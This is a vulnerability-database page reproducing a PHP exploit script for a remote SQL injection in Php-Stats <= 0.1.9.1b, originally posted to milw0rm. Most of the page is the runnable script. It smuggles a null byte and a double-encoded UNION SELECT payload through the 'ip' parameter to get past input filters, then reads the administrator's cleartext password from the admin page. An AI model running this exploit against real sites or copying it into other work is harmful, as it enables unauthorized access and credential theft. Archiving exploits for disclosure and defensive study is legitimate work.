Lucene search
K

Php-Stats <= 0.1.9.1b (ip) Remote SQL Injection Exploit

🗓️ 01 Jul 2014 00:00:00Reported by RootType 
seebug
 seebug
🔗 www.seebug.org👁 28 Views

Php-Stats Remote SQL Injection Exploit by rgo

Code

                                                &#60;?php
print_r(&#39;
---------------------------------------------------------------------------
Php-Stats &#60;= 0.1.9.1b &#34;ip&#34; urldecode()/ ereg() / sql injection / cleat text
admin pass disclosure exploit (method ii)
by rgod
mail: retrog at alice dot it
site: http://retrogod.altervista.org
---------------------------------------------------------------------------
&#39;);

if ($argc&#60;3) {
    print_r(&#39;
---------------------------------------------------------------------------
Usage: php &#39;.$argv[0].&#39; host path OPTIONS
host:      target server (ip/hostname)
path:      path to phpstats
Options:
 -p[port]:    specify a port other than 80
 -P[ip:port]: specify a proxy
Example:
php &#39;.$argv[0].&#39; localhost /stats/ -P1.1.1.1:80
php &#39;.$argv[0].&#39; localhost /php-stats/stats/ -p81
---------------------------------------------------------------------------
&#39;);
    die;
}

error_reporting(7);
ini_set(&#34;max_execution_time&#34;,0);
ini_set(&#34;default_socket_timeout&#34;,5);

function quick_dump($string)
{
  $result=&#39;&#39;;$exa=&#39;&#39;;$cont=0;
  for ($i=0; $i&#60;=strlen($string)-1; $i++)
  {
   if ((ord($string[$i]) &#60;= 32 ) | (ord($string[$i]) &#62; 126 ))
   {$result.=&#34;  .&#34;;}
   else
   {$result.=&#34;  &#34;.$string[$i];}
   if (strlen(dechex(ord($string[$i])))==2)
   {$exa.=&#34; &#34;.dechex(ord($string[$i]));}
   else
   {$exa.=&#34; 0&#34;.dechex(ord($string[$i]));}
   $cont++;if ($cont==15) {$cont=0; $result.=&#34;\r\n&#34;; $exa.=&#34;\r\n&#34;;}
  }
 return $exa.&#34;\r\n&#34;.$result;
}
$proxy_regex = &#39;(\b\d{1,3}\.\d{1,3}\.\d{1,3}\.\d{1,3}\:\d{1,5}\b)&#39;;

function send($packet)
{
  global $proxy, $host, $port, $html, $proxy_regex;
  if ($proxy==&#39;&#39;) {
    $ock=fsockopen(gethostbyname($host),$port);
    if (!$ock) {
      echo &#39;No response from &#39;.$host.&#39;:&#39;.$port; die;
    }
  }
  else {
	$c = preg_match($proxy_regex,$proxy);
    if (!$c) {
      echo &#39;Not a valid proxy...&#39;;die;
    }
    $parts=explode(&#39;:&#39;,$proxy);
    $parts[1]=(int)$parts[1];
    echo &#34;Connecting to &#34;.$parts[0].&#34;:&#34;.$parts[1].&#34; proxy...\r\n&#34;;
    $ock=fsockopen($parts[0],$parts[1]);
    if (!$ock) {
      echo &#39;No response from proxy...&#39;;die;
	}
  }
  fputs($ock,$packet);
  if ($proxy==&#39;&#39;) {
    $html=&#39;&#39;;
    while (!feof($ock)) {
      $html.=fgets($ock);
    }
  }
  else {
    $html=&#39;&#39;;
    while ((!feof($ock)) or (!eregi(chr(0x0d).chr(0x0a).chr(0x0d).chr(0x0a),$html))) {
      $html.=fread($ock,1);
    }
  }
  fclose($ock);
}

$host=$argv[1];
$path=$argv[2];
$port=80;
$proxy=&#34;&#34;;
for ($i=3; $i&#60;$argc; $i++){
$temp=$argv[$i][0].$argv[$i][1];
if ($temp==&#34;-p&#34;)
{
  $port=(int)str_replace(&#34;-p&#34;,&#34;&#34;,$argv[$i]);
}
if ($temp==&#34;-P&#34;)
{
  $proxy=str_replace(&#34;-P&#34;,&#34;&#34;,$argv[$i]);
}
}
if (($path[0]&#60;&#62;&#39;/&#39;) or ($path[strlen($path)-1]&#60;&#62;&#39;/&#39;)) {echo &#39;Error... check the path!&#39;; die;}
if ($proxy==&#39;&#39;) {$p=$path;} else {$p=&#39;http://&#39;.$host.&#39;:&#39;.$port.$path;}

function my_enc($my_string)
{
  $encoded=&#34;CHAR(&#34;;
  for ($k=0; $k&#60;=strlen($my_string)-1; $k++)
  {
    $encoded.=ord($my_string[$k]);
    if ($k==strlen($my_string)-1) {$encoded.=&#34;)&#34;;}
    else {$encoded.=&#34;,&#34;;}
  }
  return $encoded;
}
/*
vulnerable code, php-stats.recphp.php, near line 61-70:

if(isset($_GET[&#39;ip&#39;]) && $option[&#39;accept_ssi&#39;]){
  $ip=urldecode($_GET[&#39;ip&#39;]);
  if(!ereg(&#39;^[0-9]{1,3}\.[0-9]{1,3}\.[0-9]{1,3}\.[0-9]{1,3}$&#39;,$ip)) return(0);
  if(isset($_GET[&#39;user_agent&#39;])) $HTTP_USER_AGENT=htmlspecialchars(addslashes($_GET[&#39;user_agent&#39;])); else return(0);
  if(isset($_GET[&#39;page&#39;])) $tmp=htmlspecialchars(addslashes($_GET[&#39;page&#39;]));
  $loaded=str_replace(Array(&#39;%A7%A7%A7%A7&#39;,&#39;%A7%A7&#39;),Array(&#39;?&#39;,&#39;&&#39;),$tmp);
  if(isset($_GET[&#39;lang&#39;])) $lang=htmlspecialchars(addslashes($_GET[&#39;lang&#39;]));
  $ssiMode=true;
}

this one exploits the ip argument and works with &#39;accept_ssi&#39; option enabled,
you bypass magic_quotes_gpc because of urldecode() and bypass regex check
because ereg() is not binary safe (you can use a null char)
*/

$SQL=&#34;1.1.1.255\x00&#39;/**/UNION/**/SELECT/**/null,null,CONCAT(&#34;.my_enc(&#34;&#60;!--&#34;).&#34;,value,&#34;.my_enc(&#34;--&#62;&#34;).&#34;),null,null,null,null,null,null,null/**/FROM/**/php_stats_config/**/WHERE/**/name=&#39;admin_pass&#39;/*&#34;;
$SQL=str_replace(&#34;%00&#34;,&#34;%2500&#34;,str_replace(&#34;%27&#34;,&#34;%2527&#34;,urlencode($SQL)));
$packet =&#34;GET &#34;.$p.&#34;php-stats.recphp.php?ip=$SQL&user_agent=1 HTTP/1.0\r\n&#34;;
$packet.=&#34;User-Agent: Mozilla/5.0\r\n&#34;;
$packet.=&#34;Host: &#34;.$host.&#34;\r\n&#34;;
$packet.=&#34;Connection: Close\r\n\r\n&#34;;
send($packet);

$packet =&#34;GET &#34;.$p.&#34;admin.php?action=details HTTP/1.0\r\n&#34;;
$packet.=&#34;User-Agent: Mozilla/5.0\r\n&#34;;
$packet.=&#34;Host: &#34;.$host.&#34;\r\n&#34;;
$packet.=&#34;Connection: Close\r\n\r\n&#34;;
send($packet);
$t=explode(&#34;whois.php?IP=&#60;!--&#34;,$html);
$t2=explode(&#34;--&#62;&#34;,$t[1]);
$pass=$t2[0];
echo &#34;admin pass -&#62; &#34;.$pass.&#34;\n&#34;;

?&#62;

# milw0rm.com [2007-03-16]

                              

Data

Build on a solid foundation with Vulners data

We provide the essential building blocks for cybersecurity solutions with comprehensive, structured, and constantly updated vulnerability and exploits data

Api

Power your application with Vulners API

The Vulners REST API offers reliable, high-performance access to vulnerability intelligence, with 99.9% SLA uptime and CDN-backed data delivery for seamless global access

App

Assess and manage vulnerabilities with Vulners tools

Built on top of Vulners' database and SDK, end-user solutions give security professionals and developers lightweight and powerful tools for vulnerability remediation